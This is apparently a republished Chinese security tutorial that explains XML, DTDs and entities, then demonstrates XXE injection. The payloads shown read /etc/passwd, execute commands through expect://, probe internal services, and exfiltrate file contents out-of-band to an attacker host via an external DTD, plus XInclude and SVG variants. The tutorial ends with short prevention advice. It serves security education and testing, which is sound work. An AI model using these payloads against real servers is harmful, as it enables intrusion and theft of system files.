XML外部实体注入
XML外部实体注入也称为XXE,是因为后端服务器的XML解析器配置错误,允许在XML文档中定义外部实体,通过外部实体引用外部资源或文件,而且对外部实体引用的资源或文件没有做严格的过滤和校验,导致攻击者可以构造恶意的XML文件发送给服务器让其解析,进而造成安全问题。
XML
XML(Extensible Markup Language,可扩展标记语言)是一种文本格式,主要用来存储或者传输数据,跟HTML(Hypertext Markup Language)一样,都使用标签来表示不同的数据,不同的是,XML的标签名可以自定义,也就是所谓的可扩展。
XML格式
如下表:
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
XML格式为:
<personlist>
<person>
<name>小明</name>
<sex>男</sex>
<age>10</age>
</person>
<person>
<name>小红</name>
<sex>女</sex>
<age>11</age>
</person>
<person>
<name>小兰</name>
<sex>女</sex>
<age>12</age>
</person>
</personlist>
每个标签都有一个开始标签和结束标签,比如开始标签<name>
和结束标签</name>
,<personlist>
是根标签,<person>
就是<personlist>
的子标签,以此类推。
XML声明
XML声明用来指定XML版本和编码类型等信息,但它并不是必须的,在某些简单的XML文档中,可以省略声明,不受影响。
<?xml version="1.0" encoding="UTF-8"?>
XML文档类型定义
XML文档类型定义(DTD)用来规定XML文档的整体结构,包括有哪些元素、元素的顺序、元素的属性等等,语法如下:
元素定义
<!ELEMENT person (name, sex, age)>
<person>
元素必须包含<name>
、<sex>
、<age>
三个子元素,且顺序不能改变。
属性定义
<!ATTLIST nametestCDATA#REQUIRED>
给<name>
定义了一个属性,名为test,类型是CDATA,即属性值可以是任何字符数据,#REQUIRED表示这个属性是必须的,如下:
<nametest="hack">小明</name>
实体定义
<!ENTITY test"小明">
定义了一个实体,名为test,值为小明,可以在XML中通过&entity_name;引用,如下:
<!DOCTYPE person [
<!ENTITY test"小明">
]>
<person>
<name>&test;</name>
</person>
DTD还可以分为内部DTD和外部DTD,内部 DTD是直接嵌入在XML文档中的,外部DTD是存在单独的文件中,然后在XML文档中引用。
内部DTD
<?xml version="1.0"?>
<!DOCTYPE person [
<!ELEMENT perosn (name,sex,age)>
<!ELEMENT name (#PCDATA)>
]>
<person>
<name>小明</name>
<sex>男</sex>
<age>10</age>
</person>
外部DTD
<?xml version="1.0"?>
<!DOCTYPE personSYSTEM"person.dtd">
<person>
<name>小明</name>
<sex>男</sex>
<age>10</age>
</person>
<!DOCTYPE>声明
<!DOCTYPE>
声明(文档类型声明)在XML文档的开头,XML声明之后,用来指定文档类型和结构,并包含DTD,而<!DOCTYPE>
声明并不是XML文档内容的一部分,而是XML的元数据。格式如下:
<?xml version="1.0"?>
<!DOCTYPE person [
<!ELEMENT perosn (name,sex,age)>
<!ELEMENT name (#PCDATA)>
]>
<person>
<name>小明</name>
<sex>男</sex>
<age>10</age>
</person>
XML实体
实体可以让我们在XML文档中引用一些特殊的字符、值或者外部文件,可以分为预定义实体、自定义实体和外部实体,如下:
XML预定义实体
有些特殊符号在XML文档中有着特殊的意义,不能直接使用,所以就有了预定义实体来替代这些特殊符号,如下:
< 代表 <(小于号)
> 代表 >(大于号)
& 代表 &(和号)
" 代表 "(双引号)
' 代表 '(单引号)
例如:
<name>"小明"</name>
在XML解析器解析时,最终得到的内容就是:
<name>"小明"</name>
XML自定义实体
在DTD中提到过,在XML中使用<!ENTITY>
声明直接定义即可,可以定义一些自己需要的内容,然后在XML文档中引用。
<!DOCTYPE person [
<!ENTITY test"小明">
]>
<person>
<name>&test;</name>
</person>
在XML解析器解析时,最终得到的内容就是:
<!DOCTYPE person [
<!ENTITY test"小明">
]>
<person>
<name>小明</name>
</person>
XML外部实体
外部实体属于自定义实体的一种,在DTD中定义,用来引用外部资源或文件,可以是文件路径,也可以是URL地址,需要使用SYSTEM关键字,表示实体内容来自外部资源,如下:
<!DOCTYPE test [
<!ENTITY testSYSTEM"http://example.com">
]>
或者是
<!DOCTYPE test [
<!ENTITY testSYSTEM"file:///etc/passwd">
]>
XXE攻击类型
文件读取
如下图,是一个查看商品库存的请求,使用XML文档提交数据。
现在修改XML文档,定义一个外部实体,内容指向/etc/passwd。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxeSYSTEM"file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
有时候XML文档内容会非常多,具体在哪个标签引用外部实体,需要观察原始请求的内容和响应中是否有回显。
命令执行
Payload如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY xxeSYSTEM"expect://whoami" > ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
SSRF
Payload如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxeSYSTEM"http://127.0.0.1:6379"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
盲XXE
盲XXE就是引用的外部实体内容将不会在响应中返回,无法通过响应内容判断是否存在XXE漏洞,但仍有办法检测,如下:
数据带外
定义外部实体的时候,内容指向我们的DNSlog服务器地址,如果目标服务器正常解析XML文档,向DNSlog服务器发起请求,我们就可以在DNSlog服务器日志中看到目标服务器的HTTP请求和DNS查询记录。还是以查看库存为例,我用Burp的Collaborator演示。Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxeSYSTEM"http://gfzjtjedth8ergrofsz0khg0krqie82x.oastify.com"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
回到Collaborator查看记录。
收到记录,目标服务器向Payload发起了DNS查询和HTTP请求,即成功解析XXE Payload,漏洞存在。
参数实体
参数实体也是用<!ENTITY>
定义,实体名前需要加百分号(%),表示定义的是参数实体,引用也是使用%,并且是在DTD中引用,如下:
<!DOCTYPE test [
<!ENTITY % xxeSYSTEM"http://gfzjtjedth8ergrofsz0khg0krqie82x.oastify.com">
%xxe;
]>
利用数据带外读取文件
需要在攻击服务器(http://example.com)上创建一个DTD文件,让目标服务器引用,文件内容如下:
<!ENTITY % test1SYSTEM"file:///etc/passwd">
<!ENTITY % test2"<!ENTITY % test3 SYSTEM 'http://example.com/?x=%test1;'>">
%test2;
%test3;
1、定义参数实体test1,内容指向/etc/passwd文件。
2、定义参数实体test2,而在内容中又定义了一个参数实体test3,这种结构叫参数实体的递归引用或者参数实体内嵌实体声明。
3、定义参数实体test3中,%就是预定义实体,解析后是%,内容是向攻击服务器http://example.com发送请求,x是个参数,%test就是/etc/passwd,意思是/etc/passwd文件内容通过参数x传递到攻击服务器。
4、在DTD中引用参数实体%test2;和%test3;。
假设该DTD文件的位置是http://example.com/test.dtd。现在引用该实体,发送到目标服务器。
<!DOCTYPE test [<!ENTITY % xxeSYSTEM
"http://example.com/test.dtd"> %xxe;]>
目标服务器读取test.dtd,然后解析,将/etc/passwd文件内容通过x参数传递给攻击者,攻击者可以通过访问日志查看,效果如下:
127.0.0.1 - - [01/Jan/2025:12:00:00 +0000] "GET /?x=root:x:0:0:root:/root:/bin/bash HTTP/1.1" 200 123 "-""Mozilla/5.0"
利用错误消息读取文件
如果服务器解析XML时报错,会返回错误信息,那么就可以尝试利用错误消息读取文件,还是引用外部DTD,内容如下:
<!ENTITY % test1SYSTEM"file:///etc/passwd">
<!ENTITY % test2"<!ENTITY % test3 SYSTEM 'file:///nonexistent/%test1;'>">
%test2;
%test3;
1、定义参数实体test1,内容指向/etc/passwd文件。
2、定义参数实体test2,在内容中嵌入参数实体test3。
3、实体test3的内容是一个不存在的外部文件file:///nonexistent/%test1;,也就是file:///nonexistent/file:///etc/passwd。
4、在DTD中引用参数实体%test2;和%test3;。
然后就是引用该DTD,发送到目标服务器,目标服务器读取并解析,加载文件file:///nonexistent/file:///etc/passwd,由于该文件不存在,所以报错,并且将报错内容返回给攻击者,如下:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
寻找隐藏攻击面
如果提交的数据不是XML格式的,也就无法直接通过修改请求测试XXE,那么就需要寻找隐藏的攻击面,如下情况:
XInclude攻击
有时候客户端提交的数据并不是XML格式的,但是服务器会把提交的内容嵌入到XML文档,然后交给XML解析器来处理,如果XML解析器开启XInclude功能(XML Include,文件包含功能),则可以通过<xi:include>
标签引用外部文件,Payload如下:
<testxmlns:xi="http://www.w3.org/2001/XInclude">
<xi:includeparse="text"href="file:///etc/passwd"/>
</test>
test是根标签,xmlns:xi="http://www.w3.org/2001/XInclude"是命名空间声明,定义xi是XIclude的前缀,指向的地址是XInclude规范的正式URI,就是告诉XML解析器这是XInclude功能。
xi:include是文件包含的标签,parse="text"是告诉服务器把内容以纯文本嵌入到XML文档,href="file:///etc/passwd"指定外部文件路径。
服务器收到后,嵌入XML文档,XML解析器解析,读取/etc/passwd,如下图:
文件上传漏洞
在文件上传漏洞中提到过,服务器允许用户上传.docx、.xlsx后缀的文件,可以修改文件中的XML文档进行测试XXE,还有就是允许上传svg文件,svg文件不仅可以测试XSS,也可以用来检测是否存在XXE,Payload如下:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxeSYSTEM"file:///etc/hostname" > ]>
<svgwidth="128px"height="128px"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"version="1.1"><textfont-size="16"x="0"y="16">&xxe;</text></svg>
预防漏洞
预防和修复XXE漏洞的核心是禁止或限制XML解析器加载外部实体。以下是一些常见的防御措施:
禁用外部实体解析
最重要的修复措施就是禁用外部实体的解析,禁用后,则无法通过定义外部实体实施XXE攻击。
验证清理输入数据
严格验证XML格式和内容,确保定义的外部实体没有引用敏感文件,或恶意操作。
避免不必要的XML功能
如果没有必须要使用XML的功能,就尽量避免使用XML,可以用JSON代替,其他格式数据也严禁使用XML解析器解析。
总结
如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!
原文始发于微信公众号(AlertSec):XXE注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论